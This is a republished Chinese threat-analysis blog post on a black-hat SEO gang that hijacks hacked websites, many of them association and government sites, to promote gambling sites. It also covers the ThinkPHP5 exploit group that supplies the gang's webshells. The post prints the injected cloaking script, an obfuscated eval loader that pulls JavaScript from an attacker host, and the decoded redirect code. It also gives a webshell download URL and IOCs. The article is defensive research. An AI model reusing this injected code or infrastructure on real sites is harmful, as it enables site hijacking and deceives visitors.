从入侵到变现——“黑洞”下的黑帽SEO分析

news/2024/5/11 1:26:15/文章来源:https://blog.csdn.net/weixin_33699914/article/details/89573455

概述

由于互联网入口流量主要被搜索引擎占据,网站在搜索引擎中的排名直接影响到市场营销效果,因此SEO服务应运而生。SEO(Search Engine Optimization)全称为搜索引擎优化,是指利用搜索引擎的规则提高网站在相关搜索引擎内的自然排名。SEO服务分为两种:一种是合法的技术手段,通过站内优化、站外优化、内容建设等合理手段提升网站排名;第二种是使用作弊手段快速提升网站在搜索引擎内的排名,比如使用蜘蛛池、暗链、站群、客户端劫持、服务端劫持等黑客技术手段,这种通常称为黑帽SEO。

黑帽SEO服务的对象通常为非法的产品或网站。与合法的SEO技术服务相比,黑帽SEO的效果非常快速,能够在短时间内提升排名进行快速推广,且推广的网站内容不受法律约束。黑客的主要目标是牟取非法的经济利益,黑帽SEO是黑客快速变现的重要手段。在地下网络世界已经形成了一条完整的黑色产业链:黑客利用网站存在的安全漏洞,通过入侵手段获取网站的控制权并植入后门,将后门出售给黑帽SEO运营者,黑帽SEO通过暗链、网站劫持等技术手段篡改网站内容,为黄、赌、赌等非法站点进行搜索引擎推广。

阿里云安全团队于近日跟踪到了一个利用web漏洞入侵网站并通过劫持网站首页进行批量SEO推广的黑产团伙 。此黑产团伙控制网站数量巨大,推广的网站多为非法的博彩类网站,对互联网产业存在巨大的危害。被入侵网站往往被植入多个后门,可被黑客重复利用,成为黑产的牟利工具,存在巨大的安全风险。该黑产团伙的上游黑客组织掌握了大量IP基础设施,为了绕过安全防御,每天使用数千个代理/秒拨IP进行疯狂入侵。

由于该黑产团伙控制的外部链接域名注册邮箱均为dasheng123123@gmail.com,因此我们将其命名为DaSheng。

被控制网站分布

经过长期跟踪发现,仅2019年1月到3月,该黑产团伙就控制并利用了至少12700个站点。从被植入暗链网页的顶级域名分布来看,".com"占比最多,占总数的72%。被植入暗链的网站存在为数不少的非营利组织/政府网站,绝大部分为地方性行业协会网站,但也有像中国XXX发展研究中、中国XXX发展联盟等全国性协会网站。行业协会/政府网站具有较高公信力,黑帽SEO“傍”上这些网站能够在搜索引擎里快速提高排名,但是发布的“黄赌毒“信息严重影响了网站的公信力。网站存在暗链也意味着存在严重的安全漏洞,如果不及时修复有可能引发重大的网络安全事件。

_1
图1:被劫持网站顶级域名分布

_2
图2:某政府网站被植入暗链

黑帽SEO手法分析

该黑产团伙通过被入侵网站的webshell后门在网站首页的头部插入如下代码,该代码会修改页面title、keywords、description,并判断浏览者是否是百度搜索引擎,如果不是搜索引擎则将网站titile修改为合法内容,以达到隐藏自己的目的:

<title>&#21271;&#20140;&#36187;&#36710;&#23448;&#32593;&#24320;&#22870;&#95;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32593;&#31449;&#12304;&#23454;&#26102;&#26356;&#26032;&#12305;</title>
<meta name="keywords" content="&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32593;&#31449;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#30452;&#25773;&#24179;&#21488;&#44;&#21271;&#20140;&#36187;&#36710;&#23448;&#26041;&#24320;&#22870;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#35760;&#24405;"/>
<meta name="description" content="&#21271;&#20140;&#36187;&#36710;&#23448;&#26041;&#24320;&#22870;&#32593;&#31449;&#12304;&#89;&#89;&#50;&#51;&#52;&#46;&#67;&#79;&#77;&#12305;&#44;&#26102;&#26102;&#31934;&#20934;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#22312;&#32447;&#30452;&#25773;&#44;&#25171;&#36896;&#20840;&#32593;&#26368;&#20339;&#30340;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#30452;&#25773;&#24179;&#21488;"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="LEO YOUNG 李洋地板- By Orange NT"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))
</script>

被修改的内容通过HTML的ASCII编码隐藏,还原后为常见的博彩类关键词:

titile:北京赛车官网开奖北京赛车开奖网站【实时更新】
keywords:北京赛车开奖结果北京赛车开奖记录北京赛车开奖网站北京赛车开奖直播北京赛车开奖直播平台北京赛车官方开奖北京赛车开奖结果记录
description:北京赛车官方开奖网站【】时时精准提供北京赛车开奖记录北京赛车开奖视频北京赛车开奖结果北京赛车在线直播打造全网最佳的北京赛车开奖直播平台

第二段js脚本是经过混淆编码的,执行后得到新的js,并链接到黑产团伙控制的外部javascript

< script type = "text/javascript" > eval(function(p, a, c, k, e, d) {e = function(c) {return (c < a ?"": e(parseInt(c / a))) + ((c = c % a) > 35 ?String.fromCharCode(c + 29) : c.toString(36))};if (!''.replace(/^/, String)) {while (c--) d[e(c)] = k[c] || e(c);k = [function(e) {return d[e]}];e = function() {return '\\w+'};c = 1;};while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);return p;
} ('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');', 29, 29, 'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'), 0, {})) < /script>
/

执行后的js:

<script type="text/javascript" src="https://www.cpdas8.com/ylc.js"></script>

该js代码会自动向百度站长平台和360站长平台推送网页内容,并通过referrer判断浏览者是否来自搜索引擎,如果是则跳转到真实的被推广网站。

(function () {/*百度推送代码*/var bp = document.createElement('script');bp.src = '//push.zhanzhang.baidu.com/push.js';var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(bp, s);/*360推送代码*/var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';document.write('<script src="' + src + '" id="sozz"><\/script>');})();document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019c2.com\";");
document.writeln("</script>");

我们在搜索引擎中搜索其推广的暗链关键词,可以看到多个被入侵的网站在搜索引擎处在排名靠前的位置。

_3
图3:被黑帽SEO篡改的合法网站

攻击向量

黑帽SEO团伙使用的webshell后门通常是由上游的黑客组织提供,经阿里云安全团队研究跟踪到了DaSheng的最大“供货商”。该黑客团伙从2019年1月份开始变得异常活跃,主要使用2018年爆发的2个Thinkphp5远程代码执行漏洞,偶尔也会使用其它的web漏洞。根据其使用的webshell文件名和主要的入侵方式,我们将其命名为ThinkphpDD。

该团伙的攻击payload中会从http://43.255.29.112/php/dd.txt下载恶意代码,该代码是一个webshell后门。通常入侵成功几天之后就会被DaSheng黑产团伙利用,为了能够长期控制站点,DaSheng会在被入侵网站的不同目录植入多个webshell后门,该后门具备较强的免杀性。

_4_0


_4
图4:被植入的webshell后门

黑客团伙使用的攻击payload:
payload1
payload2
payload3

IP基础设施

通常攻击者使用的IP由于存在恶意攻击行为会被IPS、防火墙等安全设备拦截。ThinkphpDD为了绕过安全防护获取最大的利益,使用了大量IP进行网络攻击,从2019年1月开始每天使用几千个IP进行攻击。而且使用的IP复用率低,被该团伙利用过的IP已超过10万个。使用过的IP绝大部分来自中国,占比89%。结合阿里云的代理IP威胁情报,至少有86%的IP是匿名代理或秒拨IP。可见该团伙为了获取黑产利益投入巨大。

_5
图5:黑客使用的IP数量趋势

_6
图6:黑客攻击次数趋势

_7
图7:黑客使用的IP国家分布

_8
图8:黑客使用的IP来源分布

安全建议

1、用户应及时更新服务,或修补网站漏洞,避免成为入侵的受害者;

2、用户可对网站源代码进行检测,及时清理被植入的网站后门、恶意代码;

3、建议使用阿里云安全的下一代云防火墙产品,能够及时阻断恶意攻击、配置智能策略,能够有效帮助防御入侵;

4、对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。

IOCs

www[.]cpdas8[.]com
www[.]bcdas8[.]com
www[.]dasv8[.]com
43.255.29.112

本文作者:桑铎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_782906.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站访问慢跟80端口_网站访问慢的原因

很多朋友在访问网站时候遇到了访问慢&#xff0c;或者网站打不开的问题。导致浏览不舒适&#xff0c;想看的内容又看到。这是什么原因造成的呢&#xff1f;网站不能访问或者网站范围速度慢有以下几种原因造成&#xff0c;如何处理解决1、网站的空间质量。每个网站都必须有空间载…

大型网站技术架构(四)网站的高性能架构

2019独角兽企业重金招聘Python工程师标准>>> 网站性能是客观的指标&#xff0c;可以具体体现到响应时间、吞吐量、并发数、性能计数器等技术指标。 1、性能测试指标 1.1 响应时间 指应用执行一个操作需要的时间&#xff0c;指从发出请求到最后收到响应数据所需要的时…

HTML标记中存在h1到h7吗,利于SEO优化的H1标签使用规范

原标题&#xff1a;利于SEO优化的H1标签使用规范H1标签是通过网站Html代码内容优化提示&#xff0c;来引起搜索引擎的注意&#xff0c;有着一定的使用意义和注意事项&#xff0c;那么如何操作才能利于SEO优化呢&#xff1f;一.H标签定义&#xff1a;网上的定义很多&#xff0c;…

SEO–关于如何通过利用流量精灵刷百度排名及排名原理~

SEO– 关于如何通过利用流量精灵刷百度排名及排名原理这个是昨天打算开启的实验&#xff0c;实验主要是以多个排名较低&#xff08;<10&#xff09;关键词来进行&#xff0c;其中有以下四个关键词&#xff1a;七七、部落格、七七空间、七七电视。 搜索页面&#xff1a; 七七…

编程竞赛和逻辑谜题网站大集合:

编程竞赛和逻辑谜题网站大集合 我们都知道&#xff0c;每天的编程生活可能有时候会有些乏味。 看这个&#xff1a; Joanna: Peter&#xff0c;你在哪工作呢&#xff1f; Peter: Initech. Joanna: 在哪……&#xff1f;好吧&#xff0c;你在那里做什么呢&#xff1f; Peter: …

开发小白也毫无压力的hexo静态博客建站全攻略

文章目录基本原理方法1 - 本机Windows下建站 (力荐)下载安装node.js用管理员权限打开命令行&#xff0c;安装hexo-cli和hexo初始化hexo使用hexo generate生成静态资源在本地运行hexo&#xff0c;看一切是否正常在Coding.net创建与用户名相同的项目&#xff0c;并启用代码的page…

使用Varnish代替Squid做网站缓存加速器的详细解决方案

使用Varnish代替Squid做网站缓存加速器的详细解决方案 [文章作者&#xff1a;张宴 本文版本&#xff1a;v1.2 最后修改&#xff1a;2008.01.02 转载请注明出处&#xff1a;http://blog.s135.com]我曾经写过一篇文章──《初步试用Squid的替代产品──Varnish Cache网站加速器》…

windows下安装使用svn管理网站开发项目

svn是一个版本控制系统&#xff0c;其前身是cvs。所谓版本控制系统&#xff0c;就是能在一个数据库中记录开发阶段的每个开发版本&#xff0c;和所有文件的修改历史。这个功能是很有用的&#xff0c;它使得追溯代码的修改和软件的演进过程成为可能。 本文仅涉及在windows本机使…

电脑打开网页很慢_影响网站打开速度哪些,影响网站打开速度的因素有哪些?...

原标题&#xff1a;影响网站打开速度哪些&#xff0c;影响网站打开速度的因素有哪些&#xff1f;其实会影响到网站打开速度的因素有很多&#xff0c;并且每一项对网站打开速度的影响都不是很大&#xff0c;但是久而久之影响网站打开速度的因素越来越多&#xff0c;也就导致网站…

[CTO札记]SNS蜂巢模型,及其在内容型网站的应用型态

一、原始模型SNS有个典型的Honeycomb模型&#xff0c;将7个要素列举出来&#xff08;如下图&#xff09;。二、模型要素变更窃以为‘状态’要素并不合理&#xff0c;因为太窄。如果将‘状态’替换成更泛化的‘内容/信息’也许更好。三、应用于内容型网站也许大家认为SNS的内容/…

资讯交流网站设计与实现_企业公司官网如何设计建设

随着互联网的发展&#xff0c;企业对自己的官网也越来越重视&#xff0c;企业官网也逐渐成了企业中必不可少的重要一部分&#xff0c;而企业官网又可以细分为几种类型&#xff0c;不同的企业可以根据自身的业务需求开发不同类型的企业官网&#xff0c;为了让企业能够更好地定位…

35网站首页全方位优化过程分享

文章出处&#xff1a;http://ui.35.com/2009/08/10/35oz/一直以来我们都在寻找提高网站访问性能的方法&#xff0c;日益庞大的内容和页面效果使我们的网站越来越臃肿&#xff0c;速度越来越慢。有没有什么办法能有效的解决这个问题呢&#xff1f;答案是肯定的。下面是对我们公司…

一个利用ISA2006发布自己做的一个网站报错记录

1.客户在IIS6里面新建网站&#xff0c;在内部浏览到网页正常。2.透过ISA发布后&#xff0c;发现无法打开&#xff0c;报错。3.解决方法&#xff1a;发布规则中&#xff0c;侦听器--身份验证---高级----允许通过HTTP进行客户端身份验证。

大仕途网站 资源不能下载

大仕途网站&#xff0c;大多数资源&#xff08;电子书&#xff09;都不能下载&#xff0c;我不说他是骗子&#xff0c;我只是实事求是地说出我的经历。希望给看到的人一点建议&#xff0c;是不是骗子自己判断吧&#xff01; 大仕途网址&#xff1a; http://www.dashitu.com/ 我…

ZXTM专题二:使用ZXTM用自建ssl证书实现网站的https协议访问

可能一些网站的二级域名涉及交易,用户信息等敏感重要信息,所以建议使用https协议替代传统的httpd,我这里使用了负载均衡ZXTM来做这件事情. 1 创建公钥,私钥,证书 习惯借用linux下的openssl工具,zxtm也可以创建相应东东: [rootdongwm conf]# openssl genrsa -des3 1024 > ser…

网站后台管理无法登陆------inetinfo.exe进程占用CPU达100%

收到到来自山东的消息说系统出现问题,问题的表现是后台无法登陆. 步骤如下: 1 开始进行网络测试,通过Ping服务器IP时进行测试发现网络没有问题,而当ping后台管理网址的时候ping不通,数据包全部丢失.2 随后远程控制服务器,通过IIS进行浏览也不可以登陆后台.不过后来仔细观察发现…

GBin1教程:使用jQuery Mobile快速开发一个手机阅读网站

日期&#xff1a;2011/10/25 来源&#xff1a;GBin1.com jQuery mobile已经慢慢进入了web开发人员的视野&#xff0c;随着jQuery mobile框架的发展&#xff0c;使用jQuery mobile开发手机端应用将会成为一个趋势&#xff0c;今天GBin1带给大家一个入门级的jQuery mobile开…

美国法官责成Google取消对数百家网站的索引

为什么80%的码农都做不了架构师&#xff1f;>>> “经过一系列的单方面听证&#xff0c;奢侈品制造商香奈儿&#xff08;Chanel&#xff0c;服装、香水品牌&#xff09; 赢胜了最近几起对上百家进行假冒奢侈品交易的网站的诉讼。 一位内华达&#xff08;Nevada&#…

Apache网站首页全面改版

Apache 软件基金会&#xff08;也就是Apache Software Foundation&#xff0c;简称为ASF&#xff09;&#xff0c;是专门为支持开源软件项目而办的一个非盈利性组织。在它所支持的Apache项目与子项目中&#xff0c;所发行的软件产品都 遵循Apache许可证&#xff08;Apache Lice…

0) keras 实训开篇:资源,视频,网站参考;keras:deeplizard;

什么是keras 友好的 py 深度学习 lib &#xff0c;令你快速实现 一个 神经网络 keras 的 作者 是&#xff1a; (Franois Chollet)[https://twitter.com/fchollet] keras 是三个 机器学习 lib 的 上层 wrapper 如何安装 keras 就这样&#xff1a; pip install tensorflowdee…